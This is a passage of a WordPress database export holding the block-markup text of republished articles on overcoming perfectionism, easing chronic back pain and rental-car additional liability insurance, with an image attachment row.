/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Put simply, cognitive behavioral therapy (CBT) allows you to reprogram your thought patterns. Working with a therapist will help you question whether your most prevalent thoughts are true (or helpful). If not, you’ll learn techniques for how to tame them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you can’t afford a good therapist or don’t want to see one, you can also use a workbook to make peace with your perfectionist thoughts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Practice Unconditional Self-Acceptance</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A researcher whose work can be particularly useful for a perfectionist is Brene Brown. She’s been considered a vulnerability expert for over two decades, and she often highlights the importance of self-love and self-acceptance in her work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, Brene Brown believes that you can’t truly change in a meaningful, lasting way, unless you have self-acceptance. When you’re constantly in a state of dissatisfaction (as perfectionists often are), it doesn’t motivate you to work better. Rather, you’re living in a stress response mode all the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Practicing self-acceptance can be a powerful antidote to this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Limit Your Use of Social Media</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The social media posts and self-help gurus telling you how to improve can easily perpetuate perfectionism. Productivity and hustle culture can make anyone feel like they’re not enough. If you combine this with your existing perfectionist tendencies, you may set your standards even higher — because it seems like that’s what everyone else is doing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To soften unrealistic expectations powered by social media, avoid looking at your notifications and updates — especially at work. It will make it easier to connect with your reality, instead of with what you imagine someone else is doing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Set Goals Alongside Your Co-Workers</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you tend to overshoot your work goals, there’s a simple trick you can use to deal with this. Next time you create your weekly work plan, do it alongside your work colleagues. It’ll help you see how much other people in your workplace are fitting in their week.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This doesn’t mean you have to lower your ambitions. However, it may help you see what realistic goals look like so you can better set your workload boundaries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Make Mistakes and Be Imperfect on Purpose</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This may sound a bit radical, but it works for a lot of people. To overcome perfectionism, expose yourself to making mistakes — or even make them on purpose. Let them be small but visible. Here are a few ideas:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Purposely sending an email with a few typos</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improvising during a presentation, rather than rehearsing it before</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Openly admitting that you’ve sent incorrect information to your boss</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Coming to a meeting 10 minutes late</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you can make a few inconsequential mistakes on purpose, you may be able to learn that the world doesn’t end when you do. This will loosen up your perfectionism and help you enjoy your work more, as you won’t always be driven by horrible “what-if” scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>A Good Time Tracker Is a Perfectionist’s Friend</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A frequent problem for perfectionists is that they aren’t aware of how much they’re already doing. When you always expect the impossible standard from yourself, you may turn a blind eye to the progress you’re making and only focus on what’s missing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why a time tracker can be a perfectionist’s best friend. It gives you an idea of how much you’ve actually accomplished and how long you worked in a given day, week, or month. This may make it easier to appreciate yourself and rewire the unhelpful mental patterns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://rize.io/blog/overcoming-perfectionism\">ere.</a></p>\n<!-- /wp:paragraph -->','How Overcoming Perfectionism Can Make You a Better Worker','','inherit','closed','closed','','3846-revision-v1','','','2024-02-27 17:49:17','2024-02-27 17:49:17','',3846,'https://smartinsurance.tips/?p=3848',0,'revision','',0),(3849,1,'2024-02-27 17:54:44','2024-02-27 17:54:44','<!-- wp:paragraph -->\n<p>If you\'re chronically achy, these moves and meds can really help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3850,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-8-1024x1024.png\" alt=\"\" class=\"wp-image-3850\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Does your back often hurt? Thirty-nine percent of adults and 45 percent of people ages 65 and up said in a survey that they’d had back pain in the previous three months, according to a 2021 report from the National Center for Health Statistics. And a systematic review published in 2022 in the Journal of Pain found that about 36 percent of adults ages 60 and up had chronic lower back pain (meaning it continued for at least 12 weeks).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Back pain is ubiquitous in our society, especially among older adults,” says Peter Whang, MD, an associate professor of orthopedics and rehabilitation at the Yale School of Medicine in New Haven, Conn. “It’s usually due to the degenerative changes we develop as we age, like osteoarthritis or worn-out spinal disks.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That said, there are effective treatments for the pain, and most don’t require medication, says Hamza Khalid, DO, a spine specialist at the Cleveland Clinic. Consider these steps.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do the Right Movements</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While exercise might not be appealing when your back hurts, staying as active as possible can actually help reduce pain and prevent it in the future. “Movement increases blood flow to your spinal tissues and joints, which will help them feel better,” says Colleen Louw, a physical therapist and co-founder of Evidence in Motion in San Antonio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A good place to start is with pool aerobics or simply walking in a pool, Louw says. This is easy on your joints and builds strength as well as confidence. “Once people realize they can be active without pain, it gives them confidence to do things when they’re out of the water,” she says. Other good options include gentle yoga and the mind-body practice of tai chi. “They help to stretch and strengthen back muscles, as well as make you feel more comfortable with movement.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also ask your doctor if seeing a physical therapist is appropriate for you. A PT can provide an individualized program of exercises and help you figure out ways to move with less pain. “Older adults tend to take shorter steps because their center of gravity has changed,” Louw says. “But short, narrow steps can worsen back pain. We can work with them to make them more comfortable taking bigger steps, which will increase blood flow to their spine area.” A PT may also be able to teach you “nerve glides,” Louw says, which are gentle exercises to stretch and soothe irritated nerves in your back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Use the Power of Your Mind</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some doctors may recommend talk therapies to help change your reaction to pain and encourage you to set and work toward activity goals. A small 2021 study in the journal PAIN Reports, for example, looked at psychophysiologic symptom relief therapy, which addresses the stress that may contribute to pain. At the end of six months of such therapy, nearly 64 percent of patients were completely pain-free.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Therapy is a good option for patients who have tried other conservative therapies, such as physical therapy, but haven’t been able to find relief,” Khalid says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ask your doctor where you can find talk therapy for back pain. You may be able to find a pain management program at a large medical center. You can search the American Psychological Association’s therapist finder as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also important to get a handle on everyday stressors and get enough sleep, says David Hanscom, MD, a retired spine surgeon and the author of “Back in Control” (Vertus Press, 2012). A 2022 study published in Frontiers in Neuroscience found that sleep problems can trigger low back pain and vice versa.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Rely on Massage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Several complementary treatments are sometimes used for chronic low back pain. They include massage, spinal manipulation (where a chiropractor moves your spinal joints beyond their normal range of motion), and acupuncture (where very fine needles are inserted into specific points on the body).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do they work? For short-term back pain, the American College of Physicians (ACP) recommends acupuncture, heat, massage, and spinal manipulation. But “I don’t look at massage and acupuncture as first-line treatments,” Whang says. “These are more passive treatments, unlike active treatments like physical therapy, which teach you ways to stretch out your back and keep your core strong.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For massage in particular, a 2015 Cochrane review concluded that while it helped improve back pain, the quality of the evidence was low. It also found that massage didn’t necessarily help with overall back function. In addition, note that the therapies above aren’t always covered by insurance and can be expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Use Medications Wisely</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you sometimes need more relief, over-the-counter anti-inflammatories such as ibuprofen (Advil and generic) can be the first choice, according to ACP guidelines. But they often aren’t appropriate for older adults, who may be at a higher risk of side effects such as gastrointestinal bleeding, says Jesse Charnoff, MD, a physiatrist at the Hospital for Special Surgery in New York City.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acetaminophen (Tylenol and generic) may be a safer bet if you stay under 3,000 mg daily, he says. Diclofenac topical (Voltaren Arthritis Pain and generic), an OTC anti-inflammatory cream, can also provide relief. (But this and other anti-inflammatories might not be appropriate for people who are taking blood thinners.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another option may be an OTC patch that contains lidocaine, a numbing agent. For all of the above, ask your doctor how often and for how long you can use them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you see no improvement after treatments like PT or medications like those mentioned above, the ACP recommends the prescription antidepressant duloxetine (Cymbalta and generic), so check with your doctor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Prescription muscle relaxants such as cyclobenzaprine (Flexeril and generic) can lead to drowsiness and increase fall risk, so discuss your situation with your doctor. Avoid prescription opioids, which can lead to dependency. They’re no more effective than a placebo for short-term low back pain, according to a 2023 study in The Lancet, and can lead to side effects like constipation and dizziness, which can be more pronounced in older adults, Charnoff says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Relieve Acute Flare-Ups</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For those times when discomfort ramps up, these four strategies may help you feel better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Move, but do it gently.&nbsp;</strong>When you’re in significant pain, it’s important to still try to do some low-stress activities, such as walking and light stretching. “The biggest mistake that people make is going on bed rest,” says Charnoff, at the Hospital for Special Surgery. “You’ll recover faster if you stay active. Move in whatever way is comfortable, and take slow steps to increase activity you can tolerate.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Try heat.&nbsp;</strong>You can place a heating pad or wrap on the affected area. Apply it for 15 to 20 minutes at a time, several times daily.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Take this med as needed.&nbsp;</strong>Acetaminophen (Tylenol and generic) is generally fine to use for three to five days, following package directions on dosing.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Position yourself for sleep comfort. </strong>Try to sleep on your side with an upper knee bent and a pillow between your knees. This puts the least amount of stress on your spine.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When to Call the Doc</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let your doctor know if your discomfort is getting in the way of daily activities. Do the same if severe back pain lingers for more than four weeks with little improvement despite taking some of the steps above.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should call a doctor right away if you have back pain even while lying down, or if pain spreads into your lower legs or is accompanied by a fever, leg weakness, or bowel or bladder incontinence. The same applies if you have a history of cancer or osteoporosis, or if your back pain is due to a fall or an accident. These symptoms and situations may signal a potentially serious problem, such as a fracture or cauda equina syndrome, where nerves at the base of the spine are compressed. Your doctor may want to see you immediately or may advise you to see a specialist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/health/back-pain/best-ways-to-ease-back-pain-a5827060008/\">click h</a><a href=\"https://rize.io/blog/overcoming-perfectionism\">ere.</a></p>\n<!-- /wp:paragraph -->','Best Ways to Ease Back Pain','','publish','closed','closed','','best-ways-to-ease-back-pain','','','2024-02-27 17:54:44','2024-02-27 17:54:44','',0,'https://smartinsurance.tips/?p=3849',0,'post','',0),(3850,1,'2024-02-27 17:51:39','2024-02-27 17:51:39','','Untitled-8','','inherit','closed','closed','','untitled-8','','','2024-02-27 17:51:39','2024-02-27 17:51:39','',3849,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-8.png',0,'attachment','image/png',0),(3851,1,'2024-02-27 17:54:44','2024-02-27 17:54:44','<!-- wp:paragraph -->\n<p>If you\'re chronically achy, these moves and meds can really help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3850,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-8-1024x1024.png\" alt=\"\" class=\"wp-image-3850\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Does your back often hurt? Thirty-nine percent of adults and 45 percent of people ages 65 and up said in a survey that they’d had back pain in the previous three months, according to a 2021 report from the National Center for Health Statistics. And a systematic review published in 2022 in the Journal of Pain found that about 36 percent of adults ages 60 and up had chronic lower back pain (meaning it continued for at least 12 weeks).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Back pain is ubiquitous in our society, especially among older adults,” says Peter Whang, MD, an associate professor of orthopedics and rehabilitation at the Yale School of Medicine in New Haven, Conn. “It’s usually due to the degenerative changes we develop as we age, like osteoarthritis or worn-out spinal disks.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That said, there are effective treatments for the pain, and most don’t require medication, says Hamza Khalid, DO, a spine specialist at the Cleveland Clinic. Consider these steps.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do the Right Movements</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While exercise might not be appealing when your back hurts, staying as active as possible can actually help reduce pain and prevent it in the future. “Movement increases blood flow to your spinal tissues and joints, which will help them feel better,” says Colleen Louw, a physical therapist and co-founder of Evidence in Motion in San Antonio.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A good place to start is with pool aerobics or simply walking in a pool, Louw says. This is easy on your joints and builds strength as well as confidence. “Once people realize they can be active without pain, it gives them confidence to do things when they’re out of the water,” she says. Other good options include gentle yoga and the mind-body practice of tai chi. “They help to stretch and strengthen back muscles, as well as make you feel more comfortable with movement.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also ask your doctor if seeing a physical therapist is appropriate for you. A PT can provide an individualized program of exercises and help you figure out ways to move with less pain. “Older adults tend to take shorter steps because their center of gravity has changed,” Louw says. “But short, narrow steps can worsen back pain. We can work with them to make them more comfortable taking bigger steps, which will increase blood flow to their spine area.” A PT may also be able to teach you “nerve glides,” Louw says, which are gentle exercises to stretch and soothe irritated nerves in your back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Use the Power of Your Mind</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some doctors may recommend talk therapies to help change your reaction to pain and encourage you to set and work toward activity goals. A small 2021 study in the journal PAIN Reports, for example, looked at psychophysiologic symptom relief therapy, which addresses the stress that may contribute to pain. At the end of six months of such therapy, nearly 64 percent of patients were completely pain-free.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Therapy is a good option for patients who have tried other conservative therapies, such as physical therapy, but haven’t been able to find relief,” Khalid says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ask your doctor where you can find talk therapy for back pain. You may be able to find a pain management program at a large medical center. You can search the American Psychological Association’s therapist finder as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also important to get a handle on everyday stressors and get enough sleep, says David Hanscom, MD, a retired spine surgeon and the author of “Back in Control” (Vertus Press, 2012). A 2022 study published in Frontiers in Neuroscience found that sleep problems can trigger low back pain and vice versa.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Don\'t Rely on Massage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Several complementary treatments are sometimes used for chronic low back pain. They include massage, spinal manipulation (where a chiropractor moves your spinal joints beyond their normal range of motion), and acupuncture (where very fine needles are inserted into specific points on the body).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Do they work? For short-term back pain, the American College of Physicians (ACP) recommends acupuncture, heat, massage, and spinal manipulation. But “I don’t look at massage and acupuncture as first-line treatments,” Whang says. “These are more passive treatments, unlike active treatments like physical therapy, which teach you ways to stretch out your back and keep your core strong.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For massage in particular, a 2015 Cochrane review concluded that while it helped improve back pain, the quality of the evidence was low. It also found that massage didn’t necessarily help with overall back function. In addition, note that the therapies above aren’t always covered by insurance and can be expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Use Medications Wisely</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you sometimes need more relief, over-the-counter anti-inflammatories such as ibuprofen (Advil and generic) can be the first choice, according to ACP guidelines. But they often aren’t appropriate for older adults, who may be at a higher risk of side effects such as gastrointestinal bleeding, says Jesse Charnoff, MD, a physiatrist at the Hospital for Special Surgery in New York City.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acetaminophen (Tylenol and generic) may be a safer bet if you stay under 3,000 mg daily, he says. Diclofenac topical (Voltaren Arthritis Pain and generic), an OTC anti-inflammatory cream, can also provide relief. (But this and other anti-inflammatories might not be appropriate for people who are taking blood thinners.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another option may be an OTC patch that contains lidocaine, a numbing agent. For all of the above, ask your doctor how often and for how long you can use them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you see no improvement after treatments like PT or medications like those mentioned above, the ACP recommends the prescription antidepressant duloxetine (Cymbalta and generic), so check with your doctor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Prescription muscle relaxants such as cyclobenzaprine (Flexeril and generic) can lead to drowsiness and increase fall risk, so discuss your situation with your doctor. Avoid prescription opioids, which can lead to dependency. They’re no more effective than a placebo for short-term low back pain, according to a 2023 study in The Lancet, and can lead to side effects like constipation and dizziness, which can be more pronounced in older adults, Charnoff says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Relieve Acute Flare-Ups</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For those times when discomfort ramps up, these four strategies may help you feel better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Move, but do it gently.&nbsp;</strong>When you’re in significant pain, it’s important to still try to do some low-stress activities, such as walking and light stretching. “The biggest mistake that people make is going on bed rest,” says Charnoff, at the Hospital for Special Surgery. “You’ll recover faster if you stay active. Move in whatever way is comfortable, and take slow steps to increase activity you can tolerate.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Try heat.&nbsp;</strong>You can place a heating pad or wrap on the affected area. Apply it for 15 to 20 minutes at a time, several times daily.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Take this med as needed.&nbsp;</strong>Acetaminophen (Tylenol and generic) is generally fine to use for three to five days, following package directions on dosing.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Position yourself for sleep comfort. </strong>Try to sleep on your side with an upper knee bent and a pillow between your knees. This puts the least amount of stress on your spine.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When to Call the Doc</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let your doctor know if your discomfort is getting in the way of daily activities. Do the same if severe back pain lingers for more than four weeks with little improvement despite taking some of the steps above.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You should call a doctor right away if you have back pain even while lying down, or if pain spreads into your lower legs or is accompanied by a fever, leg weakness, or bowel or bladder incontinence. The same applies if you have a history of cancer or osteoporosis, or if your back pain is due to a fall or an accident. These symptoms and situations may signal a potentially serious problem, such as a fracture or cauda equina syndrome, where nerves at the base of the spine are compressed. Your doctor may want to see you immediately or may advise you to see a specialist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/health/back-pain/best-ways-to-ease-back-pain-a5827060008/\">click h</a><a href=\"https://rize.io/blog/overcoming-perfectionism\">ere.</a></p>\n<!-- /wp:paragraph -->','Best Ways to Ease Back Pain','','inherit','closed','closed','','3849-revision-v1','','','2024-02-27 17:54:44','2024-02-27 17:54:44','',3849,'https://smartinsurance.tips/?p=3851',0,'revision','',0),(3852,1,'2024-02-27 18:01:31','2024-02-27 18:01:31','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3853,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-4-1024x1024.png\" alt=\"\" class=\"wp-image-3853\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Additional liability insurance</strong> (ALI) is an optional coverage you can purchase from a car-rental desk, peer-to-peer ride-sharing programs, and moving rental companies. This insurance offers additional financial protection for you and other authorized drivers against claims if you injure a person or damage their property while driving the rental car. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">Definition and Examples of Additional Liability Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Additional liability insurance offers a form of optional, primary coverage for damages you cause to others while behind the wheel of your rented car. This insurance typically has a higher limit (maximum amount paid to the injured or damaged property) beyond any car rental insurance policy included by the rental agency or potentially your auto policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Most major rental car companies offer this insurance for auto rentals. Supplemental liability coverage can also be suggested as an option by moving-truck rental companies or peer-to-peer ride-sharing companies for hourly or daily trips. With peer-to-peer ride-share apps or platforms, this insurance may be included with the service. ALI policies for different sectors can vary based on which state you’re in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-5\"><!-- wp:list-item -->\n<li><strong>Alternate name</strong>: Supplemental liability coverage, liability insurance supplement, or liability protection</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Acronym</strong>: ALI, SLP, or LIS</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">For example, let’s say you sign up for the liability insurance supplement when you rent a car through Hertz and injure another driver in an accident. If the other driver’s medical costs total $100,000, your rental LIS may pay those costs and you won’t need to report the claim to your own insurance company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">However, your auto policy may not cover box truck or moving rentals. You may need to obtain supplemental insurance just in case you injure someone while operating a moving van.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">How Additional Liability Insurance Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">To use additional liability or supplemental insurance, you must sign up for the coverage when first renting the car for an additional per-day charge. It is an optional coverage, and you can decline supplemental liability if you wish. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: The coverage helps protect your personal auto insurance policy and your financial assets from claims if you’re at fault in an accident and the claim is lower than your ALI coverage amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Insurance coverage amount and type can vary based on state. For example, coverage may be for up to $300,000, $1 million, or $2 million. This coverage may be more than your personal auto policy or duplicate your own auto or umbrella policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">Coverage and coverage amounts may or may not include damages caused by uninsured and underinsured motorists, depending upon the state you rent in and the rental agency. If a state requires the rental agency to provide uninsured motorist/underinsured motorist coverage, the standard liability policy will likely include uninsured/underinsured coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">If you’re involved in an accident, follow your rental agency’s instructions for reporting an accident. If a claim has been filed against you, you may be asked to send written notice to the insurer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">What Does Additional Liability Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Additional liability insurance or supplemental liability insurance will likely cover the following up to the policy’s limits:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-24\"><!-- wp:list-item -->\n<li>Claims by other drivers regarding injury or death you’ve caused while driving the rental vehicle</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Claims for property damage you’ve caused in your rental vehicle</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage from uninsured or underinsured motorists, depending on state and company</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Claims for injury, death, and damage are usually covered only if occurring in the U.S. or Canada if the car was rented in the U.S.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">What’s Not Covered by Additional Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Additional liability won’t cover everything. Costs that ALI likely won’t cover include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-30\"><!-- wp:list-item -->\n<li>Bodily damage to you, family members, or other household members&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Property damage to your rental vehicle</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fines or other fees</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage sustained in Mexico</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Property damage or bodily injury that occurs due to car use that’s prohibited, such as driving under the influence of alcohol or drugs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Business use of a rental vehicle</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Decide Whether You Need Additional Rental Car Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Before you accept supplemental liability insurance, call your 